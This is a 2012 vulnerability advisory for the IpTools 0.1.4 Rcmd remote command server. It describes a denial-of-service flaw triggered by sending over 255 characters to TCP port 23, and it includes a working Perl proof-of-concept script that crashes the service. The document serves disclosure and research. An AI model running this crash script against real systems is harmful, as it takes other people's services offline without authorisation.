Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability

Software : IpTools(Tiny TCP/IP server)

Software Version : 0.1.4

Vendor: http://iptools.sourceforge.net/iptools.html

Class:  Boundary Condition Error  

CVE:
 
Remote:  Yes  

Local:  No  

Published:  2012-01-07

Updated:  

Impact : High

Bug Description :
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
flaw while sending more than 255 characters to it.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex@163.com
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1';              #victim ip as your wish
$remote_port = 23;                       #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
        Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
  $sock->send("a", 0);
  $count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex@163.com
mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK